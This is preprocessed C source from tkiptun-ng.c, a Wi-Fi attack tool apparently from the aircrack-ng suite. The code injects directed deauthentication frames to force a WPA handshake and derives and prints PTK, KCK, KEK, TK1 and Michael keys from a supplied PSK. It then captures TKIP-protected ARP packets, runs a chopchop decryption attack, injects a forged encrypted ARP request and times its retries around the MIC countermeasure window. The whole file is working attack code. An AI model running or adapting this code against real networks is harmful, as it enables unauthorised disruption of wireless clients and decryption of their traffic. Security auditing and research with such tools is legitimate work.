 host = (__extension__ (__builtin_constant_p (iface) && ((size_t)(const void *)((iface) + 1) - (size_t)(const void *)(iface) == 1) ? (((__const char *) (iface))[0] == '\0' ? (char *) calloc ((size_t) 1, (size_t) 1) : ({ size_t __len = strlen (iface) + 1; char *__retval = (char *) malloc (__len); if (__retval != ((void *)0)) __retval = (char *) memcpy (__retval, iface, __len); __retval; })) : __strdup (iface)));
 if (!host)
  return -1;

 ptr = (__extension__ (__builtin_constant_p (':') && !__builtin_constant_p (host) && (':') == '\0' ? (char *) __rawmemchr (host, ':') : __builtin_strchr (host, ':')));
 if (!ptr)
  goto out;

 *ptr++ = 0;

 if (!inet_aton(host, (struct in_addr *)&addr))
  goto out;

 if(strlen(host) > 15)
        {
            port = -1;
            goto out;
        }
 strncpy(ip, host, ip_size);
 port = atoi(ptr);
        if(port <= 0) port = -1;

out:
 free(host);
 return port;
}

int getHDSK()
{
    int i, n;
    int aacks, sacks, caplen;
    struct timeval tv;
    fd_set rfds;

    n = 0;





        memcpy( h80211, "\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB" "\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00", 26 );
        memcpy( h80211 + 16, opt.r_bssid, 6 );

        aacks = 0;
        sacks = 0;
        for( i = 0; i < 4; i++ )
        {
            if(i == 0)
            {
                { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf( "Sending 4 directed DeAuth. STMAC:"
                            " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r",
                            opt.wpa.stmac[0], opt.wpa.stmac[1],
                            opt.wpa.stmac[2], opt.wpa.stmac[3],
                            opt.wpa.stmac[4], opt.wpa.stmac[5],
                            sacks, aacks );
            }

            memcpy( h80211 + 4, opt.wpa.stmac, 6 );
            memcpy( h80211 + 10, opt.r_bssid, 6 );

            if( send_packet( h80211, 26 ) < 0 )
                return( 1 );

            usleep( 2000 );

            memcpy( h80211 + 4, opt.r_bssid, 6 );
            memcpy( h80211 + 10, opt.wpa.stmac, 6 );

            if( send_packet( h80211, 26 ) < 0 )
                return( 1 );

            usleep( 100000 );

            while( 1 )
            {
                do { unsigned int __i; fd_set *__arr = (&rfds); for (__i = 0; __i < sizeof (fd_set) / sizeof (__fd_mask); ++__i) ((__arr)->__fds_bits)[__i] = 0; } while (0);
                ((void) (((&rfds)->__fds_bits)[__extension__ ({ long int __d = (dev.fd_in); (__builtin_constant_p (__d) ? (0 <= __d && __d < 1024 ? (__d / (8 * (int) sizeof (__fd_mask))) : __fdelt_warn (__d)) : __fdelt_chk (__d)); })] |= ((__fd_mask) 1 << ((dev.fd_in) % (8 * (int) sizeof (__fd_mask))))));

                tv.tv_sec = 0;
                tv.tv_usec = 1000;

                if( select( dev.fd_in + 1, &rfds, ((void *)0), ((void *)0), &tv ) < 0 )
                {
                    if( (*__errno_location ()) == 4 ) continue;
                    perror( "select failed" );
                    return( 1 );
                }

                if( ! ((((&rfds)->__fds_bits)[__extension__ ({ long int __d = (dev.fd_in); (__builtin_constant_p (__d) ? (0 <= __d && __d < 1024 ? (__d / (8 * (int) sizeof (__fd_mask))) : __fdelt_warn (__d)) : __fdelt_chk (__d)); })] & ((__fd_mask) 1 << ((dev.fd_in) % (8 * (int) sizeof (__fd_mask))))) != 0) )
                    break;

                caplen = read_packet( h80211, sizeof( h80211 ), ((void *)0) );

                check_received(h80211, caplen);

                if(caplen <= 0 ) break;
                if(caplen != 10) continue;
                if( h80211[0] == 0xD4)
                {
                    if( memcmp(h80211+4, opt.wpa.stmac, 6) == 0 )
                    {
                        aacks++;
                    }
                    if( memcmp(h80211+4, opt.r_bssid, 6) == 0 )
                    {
                        sacks++;
                    }
                    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf( "Sending 4 directed DeAuth. STMAC:"
                                " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r",
                                opt.wpa.stmac[0], opt.wpa.stmac[1],
                                opt.wpa.stmac[2], opt.wpa.stmac[3],
                                opt.wpa.stmac[4], opt.wpa.stmac[5],
                                sacks, aacks );
                }
            }
        }
        printf("\n");

    return( 0 );
}

int main( int argc, char *argv[] )
{
    int i, j, n, ret, got_hdsk;
    char *s, buf[128];
    int caplen=0;
    unsigned char packet1[4096];
    unsigned char packet2[4096];
    int packet1_len, packet2_len;
    struct timeval mic_fail;



    memset( &opt, 0, sizeof( opt ) );
    memset( &dev, 0, sizeof( dev ) );

    opt.f_type = -1; opt.f_subtype = -1;
    opt.f_minlen = 80; opt.f_maxlen = 80;
    opt.f_minlen_set = 0;
    opt.f_maxlen_set = 0;
    opt.f_tods = -1; opt.f_fromds = -1;
    opt.f_iswep = -1; opt.ringbuffer = 8;

    opt.a_mode = -1; opt.r_fctrl = -1;
    opt.ghost = 0; opt.npackets = -1;
    opt.delay = 15; opt.bittest = 0;
    opt.fast = -1; opt.r_smac_set = 0;
    opt.npackets = 1; opt.nodetect = 0;
    opt.mic_failure_interval = 60;
# 3771 "tkiptun-ng.c"
    while( 1 )
    {
        int option_index = 0;

        static struct option long_options[] = {
            {"help", 0, 0, 'H'},
            {"fast", 0, 0, 'F'},
            {"pmk", 1, 0, 'P'},
            {"psk", 1, 0, 'p'},
            {0, 0, 0, 0 }
        };

        int option = getopt_long( argc, argv,
                        "d:s:m:n:t:f:x:a:c:h:e:jy:i:r:HZDK:P:p:M:",
                        long_options, &option_index );

        if( option < 0 ) break;

        switch( option )
        {
            case 0 :

                break;

            case ':' :

                printf("\"%s --help\" for help.\n", argv[0]);
                return( 1 );

            case '?' :

                printf("\"%s --help\" for help.\n", argv[0]);
                return( 1 );

            case 'd' :

                if( getmac( optarg, 1, opt.f_dmac ) != 0 )
                {
                    printf( "Invalid destination MAC address.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                break;

            case 's' :

                if( getmac( optarg, 1, opt.f_smac ) != 0 )
                {
                    printf( "Invalid source MAC address.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                break;

            case 'm' :

                ret = sscanf( optarg, "%d", &opt.f_minlen );
                if( opt.f_minlen < 0 || ret != 1 )
                {
                    printf( "Invalid minimum length filter. [>=0]\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                opt.f_minlen_set=1;
                break;

            case 'n' :

                ret = sscanf( optarg, "%d", &opt.f_maxlen );
                if( opt.f_maxlen < 0 || ret != 1 )
                {
                    printf( "Invalid maximum length filter. [>=0]\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                opt.f_maxlen_set=1;
                break;

            case 't' :

                ret = sscanf( optarg, "%d", &opt.f_tods );
                if(( opt.f_tods != 0 && opt.f_tods != 1 ) || ret != 1 )
                {
                    printf( "Invalid tods filter. [0,1]\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                break;

            case 'f' :

                ret = sscanf( optarg, "%d", &opt.f_fromds );
                if(( opt.f_fromds != 0 && opt.f_fromds != 1 ) || ret != 1 )
                {
                    printf( "Invalid fromds filter. [0,1]\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                break;

            case 'x' :

                ret = sscanf( optarg, "%d", &opt.r_nbpps );
                if( opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1 )
                {
                    printf( "Invalid number of packets per second. [1-1024]\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                break;

            case 'a' :

                if( getmac( optarg, 1, opt.r_bssid ) != 0 )
                {
                    printf( "Invalid AP MAC address.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                if( getmac( optarg, 1, opt.f_bssid ) != 0 )
                {
                    printf( "Invalid AP MAC address.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                break;

            case 'c' :

                if( getmac( optarg, 1, opt.r_dmac ) != 0 )
                {
                    printf( "Invalid destination MAC address.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                break;

            case 'h' :

                if( getmac( optarg, 1, opt.r_smac ) != 0 )
                {
                    printf( "Invalid source MAC address.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                if( getmac( optarg, 1, opt.wpa.stmac ) != 0 )
                {
                    printf( "Invalid source MAC address.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                opt.r_smac_set=1;
                break;

            case 'e' :

                memset( opt.r_essid, 0, sizeof( opt.r_essid ) );
                strncpy( opt.r_essid, optarg, sizeof( opt.r_essid ) - 1 );
                break;

            case 'j' :

                opt.r_fromdsinj = 1;
                break;

            case 'D' :

                opt.nodetect = 1;
                break;

            case 'y' :

                if( opt.prga != ((void *)0) )
                {
                    printf( "PRGA file already specified.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                if( read_prga(&(opt.prga), optarg) != 0 )
                {
                    return( 1 );
                }
                break;

            case 'i' :

                if( opt.s_face != ((void *)0) || opt.s_file )
                {
                    printf( "Packet source already specified.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                opt.s_face = optarg;
                opt.port_in = get_ip_port(opt.s_face, opt.ip_in, sizeof(opt.ip_in)-1);
                break;

            case 'r' :

                if( opt.s_face != ((void *)0) || opt.s_file )
                {
                    printf( "Packet source already specified.\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                opt.s_file = optarg;
                break;

            case 'Z' :

                opt.fast = 0;
                break;

            case 'H' :

                printf( usage, getVersion("Tkiptun-ng", 1, 1, 0, 0, 0) );
                return( 1 );

            case 'K' :

                i = 0 ;
                n = 0;
                s = optarg;
                while( s[i] != '\0' )
                {
                        if ( s[i] == '-' || s[i] == ':' || s[i] == ' ')
                                i++;
                        else
                                s[n++] = s[i++];
                }
                s[n] = '\0' ;
                buf[0] = s[0];
                buf[1] = s[1];
                buf[2] = '\0';
                i = 0;
                j = 0;
                while( sscanf( buf, "%x", &n ) == 1 )
                {
                    if ( n < 0 || n > 255 )
                    {
                        printf( "Invalid keystream.\n" );
                        printf("\"%s --help\" for help.\n", argv[0]);
                        return( 1 );
                    }
                    opt.oldkeystream[opt.oldkeystreamlen] = n ;
                    opt.oldkeystreamlen++;
                    if( i >= 64 ) break;
                    s += 2;
                    buf[0] = s[0];
                    buf[1] = s[1];
                }
                break;

            case 'P' :

                memset( opt.pmk, 0, sizeof( opt.pmk ) );
                i = hexStringToHex(optarg, strlen(optarg), opt.pmk);
                opt.got_pmk = 1;
                break;

            case 'p' :

                memset( opt.psk, 0, sizeof( opt.psk ) );
                if( strlen(optarg) < 8 || strlen(optarg) > 63)
                {
                    printf("PSK with invalid length specified [8-64].\n");
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                strncpy( opt.psk, optarg, sizeof( opt.psk ) - 1 );
                opt.got_psk = 1;
                break;

            case 'M' :

                ret = sscanf( optarg, "%d", &opt.mic_failure_interval );
                if( opt.mic_failure_interval < 0 )
                {
                    printf( "Invalid MIC error timeout. [>=0]\n" );
                    printf("\"%s --help\" for help.\n", argv[0]);
                    return( 1 );
                }
                break;

            default : goto usage;
        }
    }

    if( argc - optind != 1 )
    {
     if(argc == 1)
     {
usage:
         printf( usage, getVersion("Tkiptun-ng", 1, 1, 0, 0, 0) );
        }
     if( argc - optind == 0)
     {
      printf("No replay interface specified.\n");
     }
     if(argc > 1)
     {
      printf("\"%s --help\" for help.\n", argv[0]);
     }
        return( 1 );
    }

    if( !opt.r_smac_set )
    {
        printf( "A Client MAC must be specified (-h).\n");
        printf("\"%s --help\" for help.\n", argv[0]);
        return( 1 );
    }

    if( (opt.f_minlen > 0 && opt.f_maxlen > 0) && opt.f_minlen > opt.f_maxlen )
    {
        printf( "Invalid length filter (min(-m):%d > max(-n):%d).\n",
                opt.f_minlen, opt.f_maxlen );
        printf("\"%s --help\" for help.\n", argv[0]);
        return( 1 );
    }

    if ( opt.f_tods == 1 && opt.f_fromds == 1 )
    {
        printf( "FromDS and ToDS bit are set: packet has to come from the AP and go to the AP\n" );
    }

    dev.fd_rtc = -1;
# 4142 "tkiptun-ng.c"
    opt.iface_out = argv[optind];
    opt.port_out = get_ip_port(opt.iface_out, opt.ip_out, sizeof(opt.ip_out)-1);


    if( ! (opt.a_mode == 9 && opt.port_out >= 0 ) )
    {

        _wi_out = wi_open(opt.iface_out);
        if (!_wi_out)
            return 1;
        dev.fd_out = wi_fd(_wi_out);


        if( opt.s_face != ((void *)0) )
        {

            if( ! (opt.a_mode == 9 && opt.port_in >= 0 ) )
            {
                _wi_in = wi_open(opt.s_face);
                if (!_wi_in)
                    return 1;
                dev.fd_in = wi_fd(_wi_in);
                wi_get_mac(_wi_in, dev.mac_in);
            }
        }
        else
        {
            _wi_in = _wi_out;
            dev.fd_in = dev.fd_out;


            dev.arptype_in = dev.arptype_out;
            wi_get_mac(_wi_in, dev.mac_in);
        }

        wi_get_mac(_wi_out, dev.mac_out);
    }


    setuid( getuid() );


    if( opt.r_nbpps == 0 )
    {
        opt.r_nbpps = 10;
    }


    if( opt.s_file != ((void *)0) )
    {
        if( ! ( dev.f_cap_in = fopen( opt.s_file, "rb" ) ) )
        {
            perror( "open failed" );
            return( 1 );
        }

        n = sizeof( struct pcap_file_header );

        if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n )
        {
            perror( "fread(pcap file header) failed" );
            return( 1 );
        }

        if( dev.pfh_in.magic != 0xA1B2C3D4 &&
            dev.pfh_in.magic != 0xD4C3B2A1 )
        {
            fprintf( stderr, "\"%s\" isn't a pcap file (expected "
                             "TCPDUMP_MAGIC).\n", opt.s_file );
            return( 1 );
        }

        if( dev.pfh_in.magic == 0xD4C3B2A1 )
            dev.pfh_in.linktype = ( ( ( dev.pfh_in.linktype >> 24 ) & 0x000000FF ) | ( ( dev.pfh_in.linktype >> 8 ) & 0x0000FF00 ) | ( ( dev.pfh_in.linktype << 8 ) & 0x00FF0000 ) | ( ( dev.pfh_in.linktype << 24 ) & 0xFF000000 ) );;

        if( dev.pfh_in.linktype != 105 &&
            dev.pfh_in.linktype != 119 &&
            dev.pfh_in.linktype != 127 &&
            dev.pfh_in.linktype != 192 )
        {
            fprintf( stderr, "Wrong linktype from pcap file header "
                             "(expected LINKTYPE_IEEE802_11) -\n"
                             "this doesn't look like a regular 802.11 "
                             "capture.\n" );
            return( 1 );
        }
    }


    if( maccmp( opt.r_smac, (unsigned char*)"\x00\x00\x00\x00\x00\x00") == 0 )
    {
        memcpy( opt.r_smac, dev.mac_out, 6);
        if(opt.a_mode != 0 && opt.a_mode != 4 && opt.a_mode != 9)
        {
            printf("No source MAC (-h) specified. Using the device MAC (%02X:%02X:%02X:%02X:%02X:%02X)\n",
                    dev.mac_out[0], dev.mac_out[1], dev.mac_out[2], dev.mac_out[3], dev.mac_out[4], dev.mac_out[5]);
        }
    }

    if( maccmp( opt.r_smac, dev.mac_out) != 0 && maccmp( opt.r_smac, (unsigned char*)"\x00\x00\x00\x00\x00\x00") != 0)
    {

        fprintf( stderr, "The interface MAC (%02X:%02X:%02X:%02X:%02X:%02X)"
                 " doesn't match the specified MAC (-h).\n"
                 "\tifconfig %s hw ether %02X:%02X:%02X:%02X:%02X:%02X\n",
                 dev.mac_out[0], dev.mac_out[1], dev.mac_out[2], dev.mac_out[3], dev.mac_out[4], dev.mac_out[5],
                 opt.iface_out, opt.r_smac[0], opt.r_smac[1], opt.r_smac[2], opt.r_smac[3], opt.r_smac[4], opt.r_smac[5] );
    }



    memset(buf, 0, 128);
    memcpy(buf, "M", 1);
    i = michael_test((unsigned char*)"\x82\x92\x5c\x1c\xa1\xd1\x30\xb8", (unsigned char*)buf, strlen(buf), (unsigned char*)"\x43\x47\x21\xca\x40\x63\x9b\x3f");
    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Michael Test: %s\n", i ? "Successful" : "Failed");



    if(getnet(((void *)0), 0, 0) != 0)
        return 1;

    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Found specified AP\n");

    got_hdsk=0;
    while(1)
    {
        getHDSK();
        for(i=0; i<10; i++)
        {
            read_sleep(500000);
            if(opt.wpa.state == 7)
            {
                got_hdsk = 1;
                break;
            }
        }
        if(got_hdsk)
            break;
    }

    if(!opt.got_pmk && opt.got_psk && strlen(opt.r_essid) > 1)
    {
        calc_pmk(opt.psk, opt.r_essid, opt.pmk);
        { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("PSK: %s\n", opt.psk);
        { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("PMK: ");
        for(i=0; i<31; i++)
            printf("%02X:", opt.pmk[i]);
        printf("%02X\n", opt.pmk[31]);
        opt.got_pmk = 1;
    }

    if(opt.got_pmk)
    {
        opt.wpa_sta.next = ((void *)0);
        memcpy(opt.wpa_sta.stmac, opt.r_smac, 6);
        memcpy(opt.wpa_sta.bssid, opt.f_bssid, 6);
        memcpy(opt.wpa_sta.snonce, opt.wpa.snonce, 32);
        memcpy(opt.wpa_sta.anonce, opt.wpa.anonce, 32);
        memcpy(opt.wpa_sta.keymic, opt.wpa.keymic, 20);
        memcpy(opt.wpa_sta.eapol, opt.wpa.eapol, 256);
        opt.wpa_sta.eapol_size = opt.wpa.eapol_size;
        opt.wpa_sta.keyver = opt.wpa.keyver;
        opt.wpa_sta.valid_ptk = calc_ptk( &opt.wpa_sta, opt.pmk );
        { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("PTK: ");
        for(i=0; i<79; i++)
            printf("%02X:", opt.wpa_sta.ptk[i]);
        printf("%02X\n", opt.wpa_sta.ptk[79]);
        { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Valid PTK: %s\n", (opt.wpa_sta.valid_ptk) ? "Yes" : "No!" );
        if(opt.wpa_sta.valid_ptk)
            opt.got_ptk = 1;

        { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("KCK: ");
        for(i=0; i<15; i++)
            printf("%02X:", opt.wpa_sta.ptk[i]);
        printf("%02X\n", opt.wpa_sta.ptk[15]);

        { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("KEK: ");
        for(i=16; i<31; i++)
            printf("%02X:", opt.wpa_sta.ptk[i]);
        printf("%02X\n", opt.wpa_sta.ptk[31]);

        { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Temporal Encryption Key (TK1): ");
        for(i=32; i<47; i++)
            printf("%02X:", opt.wpa_sta.ptk[i]);
        printf("%02X\n", opt.wpa_sta.ptk[47]);

        { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Michael Key (FromDS): ");
        for(i=48; i<55; i++)
            printf("%02X:", opt.wpa_sta.ptk[i]);
        printf("%02X\n", opt.wpa_sta.ptk[55]);

        { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Michael Key (ToDS): ");
        for(i=56; i<63; i++)
            printf("%02X:", opt.wpa_sta.ptk[i]);
        printf("%02X\n", opt.wpa_sta.ptk[63]);
    }



    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Waiting for an ARP packet coming from the Client...\n");

    opt.f_tods = 1;
    opt.f_fromds = 0;
    memcpy(opt.f_smac, opt.r_smac, 6);

    if(opt.fast == -1)
        opt.fast = 1;

    if(opt.f_minlen_set == 0) {
        opt.f_minlen = 80;
    }
    if(opt.f_maxlen_set == 0) {
        opt.f_maxlen = 80;
    }

    while(1)
    {
        if( capture_ask_packet( &caplen, 0 ) != 0 )
            return( 1 );
        if( is_qos_arp_tkip(h80211, caplen) == 1 )
            break;
    }

    memcpy(packet2, h80211, caplen);
    packet2_len = caplen;



    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Waiting for an ARP response packet coming from the AP...\n");

    opt.f_tods = 0;
    opt.f_fromds = 1;
    memcpy(opt.f_dmac, opt.r_smac, 6);
    memcpy(opt.f_smac, (unsigned char*)"\x00\x00\x00\x00\x00\x00", 6);

    if(opt.f_minlen_set == 0) {
        opt.f_minlen = 80;
    }
    if(opt.f_maxlen_set == 0) {
        opt.f_maxlen = 98;
    }

    while(1)
    {
        if( capture_ask_packet( &caplen, 0 ) != 0 )
            return( 1 );
        if( is_qos_arp_tkip(h80211, caplen) == 1 )
            break;
    }

    memcpy(packet1, h80211, caplen);
    packet1_len = caplen;


    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Got the answer!\n");

    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Waiting 10 seconds to let encrypted EAPOL frames pass without interfering.\n");
    read_sleep(10*1000000);

    memcpy(h80211, packet1, packet1_len);



    if (do_attack_tkipchop(h80211, caplen) == 1)
 return( 1 );


    if(opt.chopped_from_plain != ((void *)0))
    {
        memcpy(opt.ip_cli, opt.chopped_from_plain+58, 4);
        memcpy(opt.ip_ap, opt.chopped_from_plain+48, 4);
        memcpy(opt.r_apmac, opt.chopped_from_plain+42, 6);
    }

    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("AP MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.%i.%i.%i\n",
                opt.r_apmac[0],opt.r_apmac[1],opt.r_apmac[2],opt.r_apmac[3],opt.r_apmac[4],opt.r_apmac[5],
                opt.ip_ap[0],opt.ip_ap[1],opt.ip_ap[2],opt.ip_ap[3]);
    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Client MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.%i.%i.%i\n",
                opt.r_smac[0],opt.r_smac[1],opt.r_smac[2],opt.r_smac[3],opt.r_smac[4],opt.r_smac[5],
                opt.ip_cli[0],opt.ip_cli[1],opt.ip_cli[2],opt.ip_cli[3]);



    build_arp_request(h80211, &caplen, 0);
    send_packet(h80211, caplen);
    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Sent encrypted tkip ARP request to the client.\n");



    { struct tm *lt; time_t tc = time( ((void *)0) ); lt = localtime( &tc ); printf( "%02d:%02d:%02d  ", lt->tm_hour, lt->tm_min, lt->tm_sec ); }; printf("Wait for the mic countermeasure timeout of %i seconds.\n", opt.mic_failure_interval);

    while(1)
    {
        gettimeofday(&mic_fail, ((void *)0));
        if( (mic_fail.tv_sec - opt.last_mic_failure.tv_sec) * 1000000 + (mic_fail.tv_usec - opt.last_mic_failure.tv_usec) > opt.mic_failure_interval * 1000000)
            break;
        sleep(1);
    }


    memcpy(h80211, packet2, packet2_len);
    do_attack_tkipchop(h80211, caplen);



    return( 0 );
}